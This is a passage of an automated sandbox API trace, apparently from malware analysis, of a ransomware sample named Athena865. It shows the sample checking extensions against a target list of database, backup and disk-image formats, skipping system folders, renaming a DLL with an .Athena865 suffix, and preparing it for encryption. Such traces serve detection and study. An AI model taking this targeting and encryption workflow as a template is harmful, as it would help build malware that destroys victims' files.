[0118.212] lstrcmpiW (lpString1="er15.dll", lpString2="sqlitedb") returned -1 [0118.213] lstrlenW (lpString="xml") returned 3 [0118.213] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0118.213] lstrlenW (lpString="$er") returned 3 [0118.213] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0118.213] lstrlenW (lpString="4dd") returned 3 [0118.213] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0118.213] lstrlenW (lpString="4dl") returned 3 [0118.213] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0118.213] lstrlenW (lpString="^^^") returned 3 [0118.213] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0118.213] lstrlenW (lpString="abs") returned 3 [0118.213] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0118.213] lstrlenW (lpString="abx") returned 3 [0118.213] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0118.213] lstrlenW (lpString="accdb") returned 5 [0118.213] lstrcmpiW (lpString1="5.dll", lpString2="accdb") returned -1 [0118.213] lstrlenW (lpString="accdc") returned 5 [0118.213] lstrcmpiW (lpString1="5.dll", lpString2="accdc") returned -1 [0118.213] lstrlenW (lpString="accde") returned 5 [0118.213] lstrcmpiW (lpString1="5.dll", lpString2="accde") returned -1 [0118.213] lstrlenW (lpString="accdr") returned 5 [0118.213] lstrcmpiW (lpString1="5.dll", lpString2="accdr") returned -1 [0118.213] lstrlenW (lpString="accdt") returned 5 [0118.213] lstrcmpiW (lpString1="5.dll", lpString2="accdt") returned -1 [0118.213] lstrlenW (lpString="accdw") returned 5 [0118.213] lstrcmpiW (lpString1="5.dll", lpString2="accdw") returned -1 [0118.213] lstrlenW (lpString="accft") returned 5 [0118.213] lstrcmpiW (lpString1="5.dll", lpString2="accft") returned -1 [0118.213] lstrlenW (lpString="adb") returned 3 [0118.213] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0118.213] lstrlenW (lpString="adb") returned 3 [0118.214] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0118.214] lstrlenW (lpString="ade") returned 3 [0118.214] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0118.214] lstrlenW (lpString="adf") returned 3 [0118.214] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0118.214] lstrlenW (lpString="adn") returned 3 [0118.214] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0118.214] lstrlenW (lpString="adp") returned 3 [0118.214] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0118.214] lstrlenW (lpString="alf") returned 3 [0118.214] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0118.214] lstrlenW (lpString="ask") returned 3 [0118.214] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0118.214] lstrlenW (lpString="btr") returned 3 [0118.214] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0118.214] lstrlenW (lpString="cat") returned 3 [0118.214] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0118.214] lstrlenW (lpString="cdb") returned 3 [0118.214] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0118.214] lstrlenW (lpString="ckp") returned 3 [0118.214] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0118.214] lstrlenW (lpString="cma") returned 3 [0118.214] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0118.214] lstrlenW (lpString="cpd") returned 3 [0118.214] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0118.214] lstrlenW (lpString="dacpac") returned 6 [0118.214] lstrcmpiW (lpString1="15.dll", lpString2="dacpac") returned -1 [0118.214] lstrlenW (lpString="dad") returned 3 [0118.214] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0118.214] lstrlenW (lpString="dadiagrams") returned 10 [0118.215] lstrcmpiW (lpString1="ader15.dll", lpString2="dadiagrams") returned -1 [0118.215] lstrlenW (lpString="daschema") returned 8 [0118.215] lstrcmpiW (lpString1="er15.dll", lpString2="daschema") returned 1 [0118.215] lstrlenW (lpString="db-journal") returned 10 [0118.215] lstrcmpiW (lpString1="ader15.dll", lpString2="db-journal") returned -1 [0118.215] lstrlenW (lpString="db-shm") returned 6 [0118.215] lstrcmpiW (lpString1="15.dll", lpString2="db-shm") returned -1 [0118.215] lstrlenW (lpString="db-wal") returned 6 [0118.215] lstrcmpiW (lpString1="15.dll", lpString2="db-wal") returned -1 [0118.215] lstrlenW (lpString="dbc") returned 3 [0118.215] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0118.215] lstrlenW (lpString="dbs") returned 3 [0118.215] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0118.215] lstrlenW (lpString="dbt") returned 3 [0118.215] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0118.215] lstrlenW (lpString="dbv") returned 3 [0118.215] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0118.215] lstrlenW (lpString="dbx") returned 3 [0118.215] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0118.215] lstrlenW (lpString="dcb") returned 3 [0118.215] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0118.215] lstrlenW (lpString="dct") returned 3 [0118.215] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0118.215] lstrlenW (lpString="dcx") returned 3 [0118.215] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0118.215] lstrlenW (lpString="ddl") returned 3 [0118.215] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0118.215] lstrlenW (lpString="dlis") returned 4 [0118.215] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0118.216] lstrlenW (lpString="dp1") returned 3 [0118.216] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0118.216] lstrlenW (lpString="dqy") returned 3 [0118.216] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0118.216] lstrlenW (lpString="dsk") returned 3 [0118.216] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0118.216] lstrlenW (lpString="dsn") returned 3 [0118.216] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0118.216] lstrlenW (lpString="dtsx") returned 4 [0118.216] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0118.216] lstrlenW (lpString="dxl") returned 3 [0118.216] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0118.216] lstrlenW (lpString="eco") returned 3 [0118.216] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0118.216] lstrlenW (lpString="ecx") returned 3 [0118.216] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0118.216] lstrlenW (lpString="edb") returned 3 [0118.216] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0118.216] lstrlenW (lpString="epim") returned 4 [0118.216] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0118.216] lstrlenW (lpString="fcd") returned 3 [0118.216] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0118.216] lstrlenW (lpString="fdb") returned 3 [0118.216] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0118.216] lstrlenW (lpString="fic") returned 3 [0118.216] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0118.216] lstrlenW (lpString="flexolibrary") returned 12 [0118.216] lstrlenW (lpString="fm5") returned 3 [0118.216] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0118.216] lstrlenW (lpString="fmp") returned 3 [0118.217] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0118.217] lstrlenW (lpString="fmp12") returned 5 [0118.217] lstrcmpiW (lpString1="5.dll", lpString2="fmp12") returned -1 [0118.217] lstrlenW (lpString="fmpsl") returned 5 [0118.217] lstrcmpiW (lpString1="5.dll", lpString2="fmpsl") returned -1 [0118.217] lstrlenW (lpString="fol") returned 3 [0118.217] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0118.217] lstrlenW (lpString="fp3") returned 3 [0118.217] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0118.217] lstrlenW (lpString="fp4") returned 3 [0118.217] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0118.217] lstrlenW (lpString="fp5") returned 3 [0118.217] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0118.217] lstrlenW (lpString="fp7") returned 3 [0118.217] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0118.217] lstrlenW (lpString="fpt") returned 3 [0118.217] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0118.217] lstrlenW (lpString="frm") returned 3 [0118.217] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0118.217] lstrlenW (lpString="gdb") returned 3 [0118.217] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0118.217] lstrlenW (lpString="gdb") returned 3 [0118.217] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0118.217] lstrlenW (lpString="grdb") returned 4 [0118.217] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0118.217] lstrlenW (lpString="gwi") returned 3 [0118.217] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0118.217] lstrlenW (lpString="hdb") returned 3 [0118.217] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0118.217] lstrlenW (lpString="his") returned 3 [0118.217] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0118.218] lstrlenW (lpString="ib") returned 2 [0118.218] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0118.218] lstrlenW (lpString="idb") returned 3 [0118.218] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0118.218] lstrlenW (lpString="ihx") returned 3 [0118.218] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0118.218] lstrlenW (lpString="itdb") returned 4 [0118.218] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0118.218] lstrlenW (lpString="itw") returned 3 [0118.218] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0118.218] lstrlenW (lpString="jet") returned 3 [0118.218] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0118.218] lstrlenW (lpString="jtx") returned 3 [0118.218] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0118.218] lstrlenW (lpString="kdb") returned 3 [0118.218] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0118.218] lstrlenW (lpString="kexi") returned 4 [0118.218] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0118.218] lstrlenW (lpString="kexic") returned 5 [0118.218] lstrcmpiW (lpString1="5.dll", lpString2="kexic") returned -1 [0118.218] lstrlenW (lpString="kexis") returned 5 [0118.218] lstrcmpiW (lpString1="5.dll", lpString2="kexis") returned -1 [0118.218] lstrlenW (lpString="lgc") returned 3 [0118.218] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0118.218] lstrlenW (lpString="lwx") returned 3 [0118.218] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0118.218] lstrlenW (lpString="maf") returned 3 [0118.218] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0118.218] lstrlenW (lpString="maq") returned 3 [0118.218] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0118.218] lstrlenW (lpString="mar") returned 3 [0118.219] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0118.219] lstrlenW (lpString="marshal") returned 7 [0118.219] lstrcmpiW (lpString1="r15.dll", lpString2="marshal") returned 1 [0118.219] lstrlenW (lpString="mas") returned 3 [0118.219] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0118.219] lstrlenW (lpString="mav") returned 3 [0118.219] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0118.219] lstrlenW (lpString="maw") returned 3 [0118.219] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0118.219] lstrlenW (lpString="mdbhtml") returned 7 [0118.219] lstrcmpiW (lpString1="r15.dll", lpString2="mdbhtml") returned 1 [0118.219] lstrlenW (lpString="mdn") returned 3 [0118.219] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0118.219] lstrlenW (lpString="mdt") returned 3 [0118.219] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0118.219] lstrlenW (lpString="mfd") returned 3 [0118.219] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0118.219] lstrlenW (lpString="mpd") returned 3 [0118.219] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0118.219] lstrlenW (lpString="mrg") returned 3 [0118.219] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0118.219] lstrlenW (lpString="mud") returned 3 [0118.219] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0118.219] lstrlenW (lpString="mwb") returned 3 [0118.219] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0118.219] lstrlenW (lpString="myd") returned 3 [0118.220] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0118.220] lstrlenW (lpString="ndf") returned 3 [0118.220] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0118.220] lstrlenW (lpString="nnt") returned 3 [0118.220] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0118.220] lstrlenW (lpString="nrmlib") returned 6 [0118.220] lstrcmpiW (lpString1="15.dll", lpString2="nrmlib") returned -1 [0118.220] lstrlenW (lpString="ns2") returned 3 [0118.220] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0118.220] lstrlenW (lpString="ns3") returned 3 [0118.220] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0118.220] lstrlenW (lpString="ns4") returned 3 [0118.220] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0118.220] lstrlenW (lpString="nsf") returned 3 [0118.220] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0118.220] lstrlenW (lpString="nv") returned 2 [0118.220] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0118.220] lstrlenW (lpString="nv2") returned 3 [0118.220] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0118.220] lstrlenW (lpString="nwdb") returned 4 [0118.220] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0118.220] lstrlenW (lpString="nyf") returned 3 [0118.220] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0118.220] lstrlenW (lpString="odb") returned 3 [0118.220] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0118.220] lstrlenW (lpString="odb") returned 3 [0118.220] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0118.220] lstrlenW (lpString="oqy") returned 3 [0118.220] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0118.220] lstrlenW (lpString="ora") returned 3 [0118.221] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0118.221] lstrlenW (lpString="orx") returned 3 [0118.221] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0118.221] lstrlenW (lpString="owc") returned 3 [0118.221] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0118.221] lstrlenW (lpString="p96") returned 3 [0118.221] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0118.221] lstrlenW (lpString="p97") returned 3 [0118.221] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0118.221] lstrlenW (lpString="pan") returned 3 [0118.221] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0118.221] lstrlenW (lpString="pdb") returned 3 [0118.221] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0118.221] lstrlenW (lpString="pdm") returned 3 [0118.221] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0118.221] lstrlenW (lpString="pnz") returned 3 [0118.221] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0118.221] lstrlenW (lpString="qry") returned 3 [0118.221] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0118.221] lstrlenW (lpString="qvd") returned 3 [0118.221] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0118.221] lstrlenW (lpString="rbf") returned 3 [0118.221] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0118.221] lstrlenW (lpString="rctd") returned 4 [0118.221] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0118.221] lstrlenW (lpString="rod") returned 3 [0118.221] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0118.221] lstrlenW (lpString="rodx") returned 4 [0118.221] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0118.221] lstrlenW (lpString="rpd") returned 3 [0118.221] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0118.222] lstrlenW (lpString="rsd") returned 3 [0118.222] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0118.222] lstrlenW (lpString="sas7bdat") returned 8 [0118.222] lstrcmpiW (lpString1="er15.dll", lpString2="sas7bdat") returned -1 [0118.222] lstrlenW (lpString="sbf") returned 3 [0118.222] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0118.222] lstrlenW (lpString="scx") returned 3 [0118.222] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0118.222] lstrlenW (lpString="sdb") returned 3 [0118.222] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0118.222] lstrlenW (lpString="sdc") returned 3 [0118.222] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0118.222] lstrlenW (lpString="sdf") returned 3 [0118.222] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0118.222] lstrlenW (lpString="sis") returned 3 [0118.222] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0118.222] lstrlenW (lpString="spq") returned 3 [0118.222] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0118.222] lstrlenW (lpString="te") returned 2 [0118.222] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0118.222] lstrlenW (lpString="teacher") returned 7 [0118.222] lstrcmpiW (lpString1="r15.dll", lpString2="teacher") returned -1 [0118.222] lstrlenW (lpString="tmd") returned 3 [0118.222] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0118.222] lstrlenW (lpString="tps") returned 3 [0118.222] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0118.222] lstrlenW (lpString="trc") returned 3 [0118.222] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0118.222] lstrlenW (lpString="trc") returned 3 [0118.222] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0118.222] lstrlenW (lpString="trm") returned 3 [0118.223] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0118.223] lstrlenW (lpString="udb") returned 3 [0118.223] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0118.223] lstrlenW (lpString="udl") returned 3 [0118.223] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0118.223] lstrlenW (lpString="usr") returned 3 [0118.223] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0118.223] lstrlenW (lpString="v12") returned 3 [0118.223] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0118.223] lstrlenW (lpString="vis") returned 3 [0118.223] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0118.223] lstrlenW (lpString="vpd") returned 3 [0118.223] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0118.223] lstrlenW (lpString="vvv") returned 3 [0118.223] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0118.223] lstrlenW (lpString="wdb") returned 3 [0118.223] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0118.223] lstrlenW (lpString="wmdb") returned 4 [0118.223] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0118.223] lstrlenW (lpString="wrk") returned 3 [0118.223] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0118.223] lstrlenW (lpString="xdb") returned 3 [0118.223] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0118.223] lstrlenW (lpString="xld") returned 3 [0118.223] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0118.223] lstrlenW (lpString="xmlff") returned 5 [0118.223] lstrcmpiW (lpString1="5.dll", lpString2="xmlff") returned -1 [0118.223] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll.Athena865") returned 63 [0118.223] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll.athena865"), dwFlags=0x1) returned 1 [0118.224] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0118.224] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8192) returned 1 [0118.225] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0118.225] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0118.225] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0118.225] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0118.226] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0118.226] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.226] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2300, lpName=0x0) returned 0x17c [0118.227] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2300) returned 0x100000 [0118.228] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0118.229] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0118.229] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.229] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0118.229] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0118.229] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0118.229] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0118.229] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.229] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0118.229] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0118.230] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0118.230] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.230] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0118.230] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0118.230] CloseHandle (hObject=0x17c) returned 1 [0118.230] CloseHandle (hObject=0x154) returned 1 [0118.230] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0118.230] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0118.230] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0118.230] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7da10b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f7da10b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f80026c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16e000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msado15.dll", cAlternateFileName="")) returned 1 [0118.230] lstrcmpiW (lpString1="msado15.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0118.230] lstrcmpiW (lpString1="msado15.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0118.230] lstrcmpiW (lpString1="msado15.dll", lpString2=".") returned 1 [0118.230] lstrcmpiW (lpString1="msado15.dll", lpString2="..") returned 1 [0118.230] lstrcmpiW (lpString1="msado15.dll", lpString2="windows") returned -1 [0118.230] lstrcmpiW (lpString1="msado15.dll", lpString2="bootmgr") returned 1 [0118.231] lstrcmpiW (lpString1="msado15.dll", lpString2="temp") returned -1 [0118.231] lstrcmpiW (lpString1="msado15.dll", lpString2="pagefile.sys") returned -1 [0118.231] lstrcmpiW (lpString1="msado15.dll", lpString2="boot") returned 1 [0118.231] lstrcmpiW (lpString1="msado15.dll", lpString2="ids.txt") returned 1 [0118.231] lstrcmpiW (lpString1="msado15.dll", lpString2="ntuser.dat") returned -1 [0118.231] lstrcmpiW (lpString1="msado15.dll", lpString2="perflogs") returned -1 [0118.231] lstrcmpiW (lpString1="msado15.dll", lpString2="MSBuild") returned -1 [0118.231] lstrlenW (lpString="msado15.dll") returned 11 [0118.231] lstrcpyW (in: lpString1=0x241e89a, lpString2="msado15.dll" | out: lpString1="msado15.dll") returned="msado15.dll" [0118.231] lstrlenW (lpString="msado15.dll") returned 11 [0118.231] lstrlenW (lpString="Athena865") returned 9 [0118.231] lstrcmpiW (lpString1="ado15.dll", lpString2="Athena865") returned -1 [0118.231] lstrlenW (lpString=".dll") returned 4 [0118.231] lstrcmpiW (lpString1="msado15.dll", lpString2=".dll") returned 1 [0118.231] lstrlenW (lpString=".lnk") returned 4 [0118.231] lstrcmpiW (lpString1="msado15.dll", lpString2=".lnk") returned 1 [0118.231] lstrlenW (lpString=".ini") returned 4 [0118.231] lstrcmpiW (lpString1="msado15.dll", lpString2=".ini") returned 1 [0118.231] lstrlenW (lpString=".sys") returned 4 [0118.231] lstrcmpiW (lpString1="msado15.dll", lpString2=".sys") returned 1 [0118.231] lstrlenW (lpString="msado15.dll") returned 11 [0118.231] lstrlenW (lpString="bak") returned 3 [0118.231] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0118.231] lstrlenW (lpString="ba_") returned 3 [0118.231] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0118.231] lstrlenW (lpString="dbb") returned 3 [0118.231] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0118.231] lstrlenW (lpString="vmdk") returned 4 [0118.232] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0118.232] lstrlenW (lpString="rar") returned 3 [0118.232] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0118.232] lstrlenW (lpString="zip") returned 3 [0118.232] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0118.232] lstrlenW (lpString="tgz") returned 3 [0118.232] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0118.232] lstrlenW (lpString="vbox") returned 4 [0118.232] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0118.232] lstrlenW (lpString="vdi") returned 3 [0118.232] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0118.232] lstrlenW (lpString="vhd") returned 3 [0118.232] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0118.232] lstrlenW (lpString="vhdx") returned 4 [0118.232] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0118.232] lstrlenW (lpString="avhd") returned 4 [0118.232] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0118.232] lstrlenW (lpString="db") returned 2 [0118.232] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0118.232] lstrlenW (lpString="db2") returned 3 [0118.232] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0118.232] lstrlenW (lpString="db3") returned 3 [0118.232] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0118.232] lstrlenW (lpString="dbf") returned 3 [0118.232] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0118.232] lstrlenW (lpString="mdf") returned 3 [0118.232] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0118.232] lstrlenW 